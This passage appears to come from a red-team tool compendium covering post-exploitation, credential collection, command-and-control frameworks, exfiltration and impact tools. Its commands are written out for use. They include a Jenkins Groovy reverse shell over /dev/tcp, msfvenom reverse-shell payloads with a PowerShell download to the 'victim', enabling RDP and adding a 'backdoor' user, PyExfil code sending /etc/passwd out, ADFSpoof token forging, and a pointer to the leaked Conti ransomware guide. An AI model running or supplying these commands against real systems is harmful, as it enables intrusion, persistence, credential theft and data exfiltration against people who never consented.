Use LiquidSnake.exe agains a host where you have administrative access over as follows:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
If everything went fine, you should obtain an output similar as the following:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
General usage information can be found here.
Full LiquidSnake usage information can be found here.
Image used from https://github.com/RiccardoAncarani/LiquidSnake#usage
🔙Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" "backdoor" /add
🔙Upgrading shell to meterpreter
Shells (https://infinitelogins.com/tag/payloads/)
After getting basic shell access to an endpoint a meterpreter is nicer to continue with.
[attacker] Generate a meterpreter shell:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
[victim] Download to victim endpoint:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"`
[attacker] Configure listener:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port run`
[victim] Execute payload:
🔙Forwarding Ports
Sometimes, after gaining access to an endpoint there are local ports. Making these internal ports external routable can help for lateral movement to other services on the host.
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT,fork TCP:127.0.0.1:INTERNAL_PORT &
🔙Jenkins reverse shell
If you gain access to a jenkins script console you can use this to gain a reverse shell on the node.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
🔙ADFSpoof
Created by Doug Bienstock @doughsec while at Mandiant FireEye.
ADFSpoof has two main functions:
- Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
- Given a signing key, produce a signed security token that can be used to access a federated application.
This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof.
Install:
Note: ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available here.
Usage:
# Decrypt the EncryptedPFX and write to disk
python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# Generate a security token for Office365
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759
Full usage information can be found here.
Additional command examples can be found here.
Image used from https://github.com/mandiant/ADFSpoof#usage
🔙Coercer
A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods.
Features:
- Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz authenticated)
- Tries to connect on a list of known SMB pipes on the remote machine (in modes scan unauthenticated and fuzz unauthenticated)
- Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
- Random UNC paths generation to avoid caching failed attempts (all modes)
- Configurable delay between attempts with --delay
More feature information here.
Install: (pip)
Usage:
# Scan mode (Assess the Remote Procedure Calls listening on a machine)
./Coercer.py scan -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
# Coerce mode (Exploit the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder)
./Coercer.py coerce -l 192.168.1.2 -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
# Fuzz mode (Fuzz Remote Procedure Calls listening on a machine)
./Coercer.py fuzz -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
Image used from https://github.com/p0dalirius/Coercer#quick-start
Collection
🔙BloodHound
An application used to visualize active directory environments. A quick way to visualise attack paths and understand victims' active directory properties.
Install: PenTestPartners Walkthrough
Custom Queries: CompassSecurity BloodHoundQueries
🔙Snaffler
Snaffler is an advanced credential scanner/collector for Active Directory environments. With a great README.
Snaffler uses a system of "classifiers", each of which examine shares or folders or files or file contents, passing some items downstream to the next classifier, and discarding others. Each classifier uses a set of rules to decide what to do with the items it classifies.
More information about Snaffler rules.
'Broadly speaking - it gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.' - Snaffler README (2023)
Install:
You can download the binary from the GitHub Releases Page.
Usage:
# Targeted local scan (less likely to trigger detections)
Snaffler.exe -s -i C:\
# Go in loud and find everything
snaffler.exe -s -o snaffler.log
Image used from https://github.com/SnaffCon/Snaffler#what-does-it-look-like
🔙linWinPwn
linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks.
The script uses a number of tools and serves as wrapper of them. Tools include: impacket, bloodhound, crackmapexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, adidnsdump, certipy, silenthound, and others.
linWinPwn is particularly useful when you have access to an Active Directory environment for a limited time only, and you wish to automate the enumeration process and collect evidence efficiently.
Install:
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh
Usage:
# Default: interactive - Open interactive menu to run checks separately
./linWinPwn.sh -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]
# Auto config - Run NTP sync with target DC and add entry to /etc/hosts before running the modules
./linWinPwn.sh -t <Domain_Controller_IP> --auto-config
# LDAPS - Use LDAPS instead of LDAP (port 636)
./linWinPwn.sh -t <Domain_Controller_IP> --ldaps
# Module pwd_dump: Password Dump
./linWinPwn.sh -t <Domain_Controller_IP> -M pwd_dump [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]
Full usage information here.
Image used from https://github.com/lefayjey/linWinPwn#demos
Command and Control
🔙Havoc
Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.
Features include: Sleep Obfuscation, x64 return address spoofing, Indirect Syscalls for Nt* APIs
Pre-requisites: (Ubuntu 20.04 / 22.04)
sudo apt install build-essential
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev
Build + Usage:
Pre-requisites: (Ubuntu 20.04 / 22.04)
Build + Usage:
Run the teamserver
Full install, build and run instructions on the wiki
🔙Covenant
Covenant is a .NET command and control framework, it has a web interface that allows for multi-user collaboration.
It can be used to remotely control compromised systems and perform a variety of different tasks, including executing arbitrary code, capturing keystrokes, exfiltrating data, and more.
Install: (Dotnet Core)
You can download dotnet core for your platform from here.
Note: After starting Covenant, you must register an initial user through the web interface. Navigating to the web interface will allow you to register the initial user
Usage: (Dotnet Core)
~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
Install: (Docker)
# Build the docker image:
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .
Usage: (Docker)
# Run Covenant within the Docker container
~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v </absolute/path/to/Covenant/Covenant/Data>:/app/Data covenant
# Stop the container
~/Covenant/Covenant > docker stop covenant
# Restart Covenant interactively
~/Covenant/Covenant > docker start covenant -ai
Full installation and startup instructions can be found on the wiki here.
Image from https://github.com/cobbr/Covenant
🔙Merlin
Merlin is an open-source post-exploitation framework that is designed to be used after a initial compromise of a system.
It is written in Python and can be used to perform a variety of different tasks, such as executing arbitrary code, moving laterally through a network, and exfiltrating data.
Install:
- Download the latest compiled version of Merlin Server from the releases section
- Extract the files with 7zip using the x function The password is: merlin
- Start Merlin
- Configure a listener
- Deploy an agent. See Agent Execution Quick Start Guide for examples
mkdir /opt/merlin;cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z
sudo ./merlinServer-Linux-x64
Usage:
- Ensure the Merlin server is running with a configured listener
- Download and deploy an agent to the victim
- Execute agent
For detailed usage information see the official Merlin wiki.
Image from https://www.foregenix.com/blog/a-first-look-at-todays-command-and-control-frameworks
🔙Metasploit Framework
Metasploit is an open-source framework for developing, testing, and using exploit code.
The Metasploit framework includes a large number of pre-built exploits and payloads, as well as a fully-featured integrated development environment (IDE) for creating and testing custom exploits.
Install: (Installer)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Usage:
Full installation instructions can be found on the official wiki.
Image used from https://goacademy.io/how-to-install-metasploit-on-kali-linux/
🔙Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C.
It allows an attacker to remotely control a victim's computer and execute various actions, such as command execution, key logging, and taking screen shots.
Install: (Git)
sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw
Roll fix to fix the error:
Start:
Git install instructions used from here.
Install: (Docker)
For detailed docker and pupy installation instructions see the wiki.
Usage:
# Get help page for any builtin commands with -h
>> sessions -h
>> jobs -h
>> run -h
# Interact with session 1
>> sessions -i 1
# Run local command 'ls'
>> !ls
Full usage information can be found on the wiki.
The wiki contains good post exploitation information.
Image used from https://github.com/n1nj4sec/pupy/wiki/Screenshots
🔙Brute Ratel
BruteRatel is a great command and control (C4) framework created by @NinjaParanoid. The framework consists of a client component 'badger' that is installed on the compromised system, and a server component 'commander' that is run by the red team.
The client and server communicate with each other using various communication channels, such as HTTP, DNS, or TCP, and can be configured to use different encoding and encryption methods to evade detection.
Some nice features:
- DNS Over HTTPS
- Indirect Syscalls
- Built-in Debugger To Detect EDR Userland Hooks
- MITRE graph integration
- Adversary TTP automation
Install:
To legally get access to the framework you will need to buy a licence (1 Year $2500 per user). See the pricing page for more information.
After purchase you can download the framework from here with your Activation Key and License User ID.
Usage:
# Loads a powershell script to memory which can be Invoked using psreflect
psimport
# Locks keyboard and mouse hardware input. Use ‘unlock_input’ command to unlock
lock_input
# Dumps user clipboard
dumpclip
# Enumerates basic domain information
dcenum
# Elevates user privileges to SYSTEM (Requires admin rights)
get_system
# Takes a screenshot of current desktop and stores it on the server
screenshot
# Dumps LSASS to C:\Windows\Memory.DMP using the PssCaptureSnapshot technique
shadowclone
Full commander terminal usage information can be found here.
Image used from https://bruteratel.com/
Exfiltration
🔙Dnscat2
A tool for establishing C2 connections via DNS, even if the attacker and victim machines are behind a firewall / network address translation (NAT).
The tool is designed to be stealthy and difficult to detect, as it uses legitimate DNS traffic to transmit data.
Install: (Compile - Server)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
Install: (Compile - Client)
Full installation information can be found in the Installation Section.
Usage: (Server)
Usage: (Client)
# Establish the client with authoritative domain
./dnscat2 DOMAIN.COM
# Establish the client without authoritative domain
./dnscat2 --dns host=0.0.0.0,port=0000
# Ping the server from the client
./dnscat --ping DOMAIN.COM
# Ping the server from the client, with custom dns resolver ip
./dnscat --dns server=0.0.0.0,domain=DOMAIN.COM --ping
Usage: (Tunnels)
# (After establishing the client) You can open a new tunnelled port
listen [lhost:]lport rhost:rport
# Forward ssh connections through the dnscat2 client to an internal device
listen 127.0.0.1:2222 10.10.10.10:22
Full usage information can be found in the Usage Section.
🔙Cloakify
When exfiltrating victim files, DLP (Data Loss Prevention) solutions will typically trigger on strings within these files. Cloakify reduces this risk by transforming the data.
Cloakify transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts.
Note: You can make your own ciphers, see here for more info.
Install:
Usage:
# Cloakify some text
python3 cloakify.py TEXT.txt ciphers/desserts.ciph > TEXT.cloaked
# De-Cloakify the text
python3 decloakify.py TEXT.cloaked ciphers/desserts.ciph
🔙PyExfil
"An Alpha-Alpha stage package, not yet tested (and will appreciate any feedbacks and commits) designed to show several techniques of data exfiltration is real-world scenarios."
Install:
git clone https://www.github.com/ytisf/PyExfil;cd PyExfil;pip install -r requirements.txt;pip install py2exe;pip setup.py install
Usage: (Full Usage here)
HTTP Cookies
from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file, listen
# For Client (exfil)
send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)
# For Server (collecting)
listen(local_addr='127.0.0.1', local_port=80)
ICMP Echo 8
from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener
# For Client (exfil)
ip_addr = "127.0.0.1"
send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1)
# For Server (collecting)
init_listener(ip_addr, saving_location="/tmp/")
NTP Request
from pyexfil.network.NTP.ntp_exfil import exfiltrate, ntp_listen, NTP_UDP_PORT
# For Client (exfil)
ip_addr = "127.0.0.1"
exfiltrate("/etc/passwd", ip_addr, time_delay=0.1)
# For Server (collecting)
ntp_listener(ip="0.0.0.0", port=NTP_UDP_PORT)
🔙Powershell RAT
Python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. It tracks the user activity using screen capture and sends the information to an attacker as an e-mail attachment.
Install:
Usage: (Full Usage here)
Setup
- Throwaway Gmail address
- Enable "Allow less secure apps" by going to https://myaccount.google.com/lesssecureapps
- Modify the
$username&$passwordvariables for your account in the Mail.ps1 Powershell file - Modify
$msg.From&$msg.To.Addwith throwaway gmail address
🔙GD-Thief
Tool for exfiltrating files from a target's Google Drive that you have access to, via Google's API.
This includes all shared files, all files from shared drives, and all files from domain drives that the target has access to.
Install:
git clone https://github.com/antman1p/GD-Thief.git
cd GD-Thief
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib
then...
- Create a new Google Cloud Platform (GCP) project
- Enable a Google Workspace API
- Configure OAuth Consent screen
- Create a credential
- Add the victim's Google account to the Application's Test Users
For detailed setup instructions see the How To Guide.
Usage:
usage:
python3 gd_thief.py [-h] -m [{dlAll, dlDict[-d <DICTIONARY FILE PATH>]}
[-t <THREAD COUNT>]
help:
This Module will connect to Google's API using an access token and exfiltrate files
from a target's Google Drive. It will output exfiltrated files to the ./loot directory
arguments:
-m [{dlAll, dlDict}],
--mode [{dlAll, dlDict}]
The mode of file download
Can be "dlAll", "dlDict [-d <DICTIONARY FILE PATH>]", or... (More options to come)
optional arguments:
-d <DICTIONARY FILE PATH>, --dict <DICTIONARY FILE PATH>
Path to the dictionary file. Mandatory with download mode"-m, --mode dlDict"
You can use the provided dictionary, per example: "-d ./dictionaries/secrets-keywords.txt"
-t <THREAD COUNT>, --threads <THREAD COUNT>
Number of threads. (Too many could exceeed Google's rate limit threshold)
-h, --help
show this help message and exit
Nice blog post explaining the logic behind the tool.
Impact
🔙Conti Pentester Guide Leak
Conti is a ransomware group that is known for targeting large organizations and using sophisticated tactics to evade detection and maximize the impact of their attacks.
Conti has been responsible for a number of high-profile ransomware attacks, including ones against the computer systems of the City of Pensacola, Florida, and the computer systems of the Irish health service.
The Conti Pentester Guide Leak - Repository contains leaked pentesting materials given to Conti ransomware group affilates.
Topics include:
- Configuring Rclone with MEGA for data exfiltration
- Configuring AnyDesk as persistence and remote access into a victim’s network
- Elevating and gaining admin rights inside a company’s hacked network
- Taking over domain controllers
- Dumping passwords from Active Directory
Note: vx-underground.org obtained more training materials and tools used by Conti ransomware operators here.
Image used from https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak
🔙SlowLoris
Slowloris is a type of denial-of-service (DoS) attack that involves sending HTTP requests to a web server in a way that ties up the server's resources, preventing it from being able to process legitimate requests.
This attack would typically be conducted with a botnet, it is designed to be difficult to detect and mitigate, as it uses a relatively small number of connections and does not generate a large amount of traffic.
Install: (Pip)
Install: (Git)
Usage:
🔙usbkill
This is an anti-forensic kill-switch that waits for a change in USB port status, immediately shutting down endpoint if a change is detected.
In some situations, it is imperative that no data is added or removed from an endpoint via USB.
This is where USBkill comes in.
Install:
Usage:
Image used from https://en.wikipedia.org/wiki/USBKill